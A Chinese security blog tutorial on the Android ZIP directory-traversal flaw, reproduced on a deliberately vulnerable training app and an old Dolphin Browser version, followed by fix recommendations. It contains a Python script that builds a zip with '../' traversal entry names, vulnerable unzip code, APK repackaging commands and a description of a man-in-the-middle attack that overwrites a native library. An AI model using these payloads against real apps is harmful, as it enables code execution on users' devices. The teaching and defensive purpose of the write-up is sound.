• [免费专栏] Android安全之ZIP文件目录遍历漏洞



    欢迎新同学的光临
    … …
    人若无名,便可专心练剑


    我不是一条咸鱼,而是一条死鱼啊!


    0x01 前言

    zip 类型的压缩包文件中允许存在 …/ 类型的字符串,用于表示上一层级的目录。攻击者可以利用这一特性,通过精心构造 zip 文件,利用多个 ../从而改变 zip 包中某个文件的存放位置,达到替换掉原有文件的目的

    那么,如果被替换掉的文件是是 .so、.dex.odex类型文件,那么攻击者就可以轻易更改原有的代码逻辑,轻则产生本地拒绝服务漏洞,影响应用的可用性,重则可能造成任意代码执行漏洞,危害用户的设备安全和信息安全。比如寄生兽漏洞、海豚浏览器远程命令执行漏洞和三星默认输入法远程代码执行等著名的安全事件

    • 漏洞原理

    在linux系统中,../代表切换到上一级目录,有些程序在当前工作目录中处理到诸如../../../../../../../../../../../etc/hosts表示的文件,会跳转出当前工作目录,跳转到到其他目录中对应的hosts目录

    Java代码在解压zip文件时,会使用ZipEntry类的getName()方法,获取文件的名称,如果 zip 文件中包含../字符串,该方法的返回值里面会原样返回,如果没有过滤掉 getName() 返回值中的../字符串,继续解压缩操作,就会在其他目录中创建解压的文件

    因为ZipEntry在进行压缩文件的时候,名称没有做任何限制,而在Android系统中…/这种特殊符号代表的是回到上层目录,又因为这个解压工作在本应用中,可以借助app的自生权限,把恶意文件名改成:…/…/…/data/data/…即可在解压的时候把文件解压到了应用的沙盒中

    一些示例的zip包样本:

    • https://github.com/snyk/zip-slip-vulnerability
    • https://www.apkhere.com/app/com.dolphin.browser.express.web

    0x02 vuls APP ZIP文件目录遍历【漏洞复现】

    :Android6.0 已经打了补丁,在进行解压的时候对../这种情况进行了过滤,这样就导致不能进行成功的穿越,所以我们用低版本Android系统复现学习

    vuls样本下载:https://github.com/AndroidAppSec/vuls/releases/tag/v4.3

    ZipEntry关键 API

    • java.util.zip.ZipEntry#getName()
    /**
     * Returns the name of the entry. 
     * @return the name of the entry 
     */
     
     public String getName() { return name; }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • java.util.zip.ZipInputStream#getNextEntry()
    /**
     * Reads the next ZIP file entry and positions the stream at the
     * beginning of the entry data.
     * @return the next ZIP file entry, or null if there are no more entries
     */
     
     public ZipEntry getNextEntry()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    private void zipperDown(){
            String url = "http://www.example.com/test.zip";
            OkHttpClient okHttpClient = new OkHttpClient();
            final Request request = new Request.Builder().url(url).get().build();
            Call call = okHttpClient.newCall(request);
            call.enqueue(new Callback() {
                @Override
                public void onFailure(Call call, IOException e) {
                    Log.e("zipperDown", "zipperDown fail");
                }
    
                @Override
                public void onResponse(Call call, Response response) throws IOException {
                   Log.e("zipperDown", response.body().bytes().length + "");
                    String dstPath = getCacheDir().toString();
                    ZipEntry zipEntry = null;
                    ZipInputStream zipInputStream = new ZipInputStream(response.body().byteStream());
                    while ((zipEntry = zipInputStream.getNextEntry()) != null){
                         //调用zipEntry的getName方法没有检查是否包含"../"
                        String entryName = zipEntry.getName();
                        if (zipEntry.isDirectory()){
                            // 创建文件夹
                            entryName = entryName.substring(0, entryName.length() -1);
                            File folder = new File(dstPath + File.separator + entryName);
                            folder.mkdirs();
                        }else {
                            // 尝试解压zip entry到指定路径
                            String fileName = dstPath + File.separator + entryName;
                            Log.e("zipperDown", fileName);
                            File file = new File(fileName);
                            file.createNewFile();
                            FileOutputStream fileOutputStream = new FileOutputStream(file);
                            byte[] buffer = new byte[1024];
                            int n = 0;
                            while ((n = zipInputStream.read(buffer, 0 , 1024)) != -1){
                                fileOutputStream.write(buffer, 0 , n);
                            }
                            fileOutputStream.flush();
                            fileOutputStream.close();
                        }
                    }
                    zipInputStream.close();
                }
            });
    
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46

    在上图红色标记的代码中,直接将获取的压缩文件中的文件名进行拼接,没有对路径中是否包含 ../或者 ..字符就做过滤判断,即:文件名称不能包含"…/"这种特殊字符做处理。正常情况下,zip 文件中文件名为 og_test_zip.txt,会被下载到 /data/data/ddns.android.vuls/cache/og_test_zip.txt【如下图】。如果攻击者构造一个 ../files/og_test_zip.txt的文件名,则拼接后的文件名为 /data/data/ddns.android.vuls/cache/../files/og_test_zip.txt,其会下载到vuls APP应用本地的/files/目录下,当然如果是想做覆盖本地文件的话,只要取相同名字即可覆盖

    在这里插入图片描述

    构建一个zip poc文件,步骤如下:

    • 创建一个og_test_zip.txt,内容为Orangey test zip poc!
    • 将 og_test_zip.txt 压缩为 og_test_zip.zip
    • 切记,别用winrar打开来修改文件名,反正用winrar打开来修改文件名不行,这里,我们使用 7-Zip 打开文件并修改文件名
      • 为什么要借用压缩包根据来修改,大家看下图:

    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述

    • 攻击效果如下

    在这里插入图片描述

    • 默认抓包host域名或GET 请求地址为:p://www.example.com/test.zip,两种修改方法

    在这里插入图片描述

    第一种:直接通过抓包工具,进行修改请求的host和路径地址为我们自己的,其实抓包工具就是做了一个中间人攻击的角色

    在这里插入图片描述

    Burp配置一下默认的host和端口,当然也可以自行抓到包后自行修改

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    第二种:反编译APK为smali,然后修改对应的smali文件中请求的地址

    # 反编译APK
    apktool.jar d -f vuls_v4.4.apk -o vuls_v4.4
    
    • 1
    • 2

    在这里插入图片描述

    # 修改好后回编译APK并签名以及丢到模拟器中运行
    java -jar apktool.jar b vuls_v4.4 -o vuls_v4.4-key.apk
    
    java -jar  signapk.jar testkey.x509.pem testkey.pk8 vuls_v4.4-key.apk vuls_v4.4-key_debug.apk
    
    • 1
    • 2
    • 3
    • 4

    如果应用动态加载代码之前未做签名校验,利用目录穿越漏洞进行覆盖,可实现稳定的任意代码执行。此外由于在文件系统中写入了可执行文件,还可以实现持久化攻击的效果

    在Android中,System.loadLibrary()是从应用的lib目录中加载 .so文件,而System.load()是用某个.so文件的绝对路径加载,这个.so文件可以不在应用的lib目录中,可以在SD卡中,或者在应用的files目录中,只要应用有读的权限目录中即可

    在files目录中,应用具有写入权限,利用ZIP文件目录遍历漏洞可以替换掉原先的so文件,达到远程命令执行的目的。而应用的lib目录是软链接到了/data/app-lib/应用目录,属于system用户,第三方应用在执行时没有写入/data/app-lib目录的权限

    0x03 海豚浏览器ZIP文件目录遍历【漏洞复现】

    样本下载地址:https://www.apkhere.com/down/com.dolphin.browser.express.web_11.4.18_free

    现在知道了一个应用的沙盒数据的详细信息,比如一些隐私数据存放在SharedPreferences.xml中,那么这时候我们可以利用这个漏洞,把恶意文件命名成 ../../../../data/data/xxx.xxx.xxx/shared_pref/info.xml,这样在使用ZipEntry进行解压文件的时候,因为直接使用了ZipEntry.getName方法或者文件名,然后直接释放解压到本地了,所以这时候就相当于替换了本应用的沙盒数据了,这个也是利用了app本身的权限来写入沙盒数据

    海豚浏览器海豚浏览器的主题设置中允许用户通过网络下载新的主题进行更换,如下:

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    dwp 文件是海豚浏览器自己定义的主题文件包,本质上是一个 zip 包,里面有如下三个资源文件:

    GET http://opsen-static.dolphin-browser.com/resources/atheme/110010060sea_1498465941.dwp HTTP/1.1
    
    • 1

    在这里插入图片描述

    tar -tf 110010060sea_1498465941.dwp
    
    • 1

    在这里插入图片描述

    或使用7z压缩工具的命令

    7z l 110010060sea_1498465941.dwp
    
    • 1

    在这里插入图片描述

    那么,如何实现zip目录穿越了,是不是可以尝试去构建一个这样的zip包,去替换浏览器的下载包,并重命令去文件名,使得替换浏览器中的关键文件

    由于海豚浏览器并未对解压的文件进行验证,且安卓系统zip库的默认行为是允许解压文件到所在目录之外,因此通过中间人攻击,修改HTTP请求返回主题文件zip包中的内容,可以实现在海豚浏览器拥有权限的目录写文件

    使用如下 Python 代码生成一个可以触发该漏洞的 zip 包:

    # -*- coding: utf-8 -*-
     
    import zipfile  
    import sys
    
    if __name__ == "__main__":  
        try:
            with open("og_test_zip.txt", 'rb') as f:
                binary = f.read()
                zipFile = zipfile.ZipFile("og_test_zip.zip", "a", zipfile.ZIP_DEFLATED)
                info = zipfile.ZipInfo("og_test_zip.zip")
                zipFile.writestr("../../../../../data/data/com.dolphin.browser.express.web/files/og_test_zip.txt", binary)
                zipFile.close()
        except IOError as e:
            raise e
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    在这里插入图片描述
    在这里插入图片描述

    从上我们已知,海豚浏览器的主题设置中允许用户通过网络下载新的主题进行更换,主题文件其实是一个ZIP压缩文件。通过中间人攻击的方法可以替换掉这个ZIP文件。替换后的ZIP文件中有重新编译过的libdolphin.so。此so文件重写了JNI_OnLoad()函数,此so文件以“../../../../../data/data/com.dolphin.browser.express.web/files/libdolphin.so”的形式存在恶意ZIP文件中。海豚浏览器解压恶意ZIP文件后,重新的libdolphin.so就会覆盖掉原有的so文件

    动态链接库文件libdolphin.so,并没有放在应用数据的lib目录下,而是放在了files目录中,导致存在被覆盖的风险。

    加载使用的地方是com.dolphin.browser.search.redirect包中的SearchRedirector:

    在这里插入图片描述

    使用的是System.load()来加载libdolphin.so而非System.loadLibrary(),在Android中,System.loadLibrary()是从应用的lib目录中加载.so文件,而System.load()是用某个.so文件的绝对路径加载,这个.so文件可以不在应用的lib目录中,可以在SD卡中,或者在应用的files目录中,只要应用有读的权限目录中即可。

    在files目录中,应用具有写入权限,通过网络中间人攻击,同时利用ZIP文件目录遍历漏洞,替换掉文件libdolphin.so,达到远程命令执行的目的

    应用的lib目录是软链接到了/data/app-lib/应用目录,如果libdolphin.so文件在lib目录下就不会被覆盖了,第三方应用在执行时没有写入/data/app-lib目录的权限:

    在这里插入图片描述

    0x04 修复建议

    • 使用 https 并且对证书进行正确校验,防止中间人攻击,可以在一定程度上增加攻击难度

    • 对重要的ZIP压缩包文件进行数字签名校验,校验通过才进行解压

    • 当App中使用zipInputStream类对zip压缩包进行解压操作时,在zipEntry.getName()获取文件名后,必须添加过滤代码对文件名中可能包含的“…/”进行,要注意ZipEntry.getName()对于Zip包中有“…%2F”的文件路径不会进行处理

    • 检查 zip 压缩包中在调用getName()方法之后,判断路径中是否包含 ../或者 ..字符。如果有包含 ../或者 ..字符就做过滤判断,即:文件名称不能包含"…/"这种特殊字符,检查”…/”的时候不必进行URI Decode(以防通过URI编码”…%2F”来进行绕过)

    while(( zipEntry = zipInputStream.getNextEntry()) != null ){
        String entryName = zipEntry.getName();
        if(entryName.contains("../")){
            continue;
            // 或者
            // throw new Exception("发现不安全的zip文件解压路径!")
        }
        ...
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 在调用ZipEntry.getName()方法之后,调用File的getCanonicalPath()方法,获取绝对路径,要判断该路径是否在要解压目录的子目录
    • 对重要的 zip 压缩包文件进行数字签名校验,校验通过才进行解压
    • 更换 zip 解压方式,不使用 ZipEntry.getName()的方式,使用 ZipInputStream 替代
    • Google 建议的修复方案:
    InputStream is = new InputStream(untrustedFileName);
    ZipInputStream zis = new ZipInputStream(new BufferedInputStream(is));
    while((ZipEntry ze = zis.getNextEntry()) != null) {
      File f = new File(DIR, ze.getName());
      String canonicalPath = f.getCanonicalPath();
      if (!canonicalPath.startsWith(DIR)) {
        // SecurityException
      }
      // Finish unzipping…
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    参考链接

    https://blog.csdn.net/u010889616/article/details/80955250

    https://mp.weixin.qq.com/s/2sQcsKVIXlz2v8u-AQ5Uqw

    https://www.jianshu.com/p/f4c05a436785

    https://segmentfault.com/a/1190000005785252

    http://blog.neargle.com/SecNewsBak/drops/%E6%B5%B7%E8%B1%9A%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%8E%E6%B0%B4%E6%98%9F%E6%B5%8F%E8%A7%88%E5%99%A8%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E8%AF%A6%E8%A7%A3%20.html


    我自横刀向天笑,去留肝胆两昆仑


  • 相关阅读:
    十五、商城 - 品牌管理-AngularJS(3)
    阿里10年架构师:由Java多线程+MySQL+JVM出发怎样做好职业规划?
    《Vue入门到精通之webpack详解》
    Python基础入门篇【38】-异常:断言assert与raise的使用
    GBase 8c 角色属性
    electron(vue3+vite+flask+sqlite)构建桌面应用程序 踩坑
    【node进阶】浅析Koa框架---ejs模板|文件上传|操作mongoDB
    Java客户端如何直接调用es的API
    同步与异步的区别和ajax的使用方法
    文本框粘贴时兼容Unix、Mac换行符的方法源码
  • 原文地址:https://blog.csdn.net/Ananas_Orangey/article/details/126240864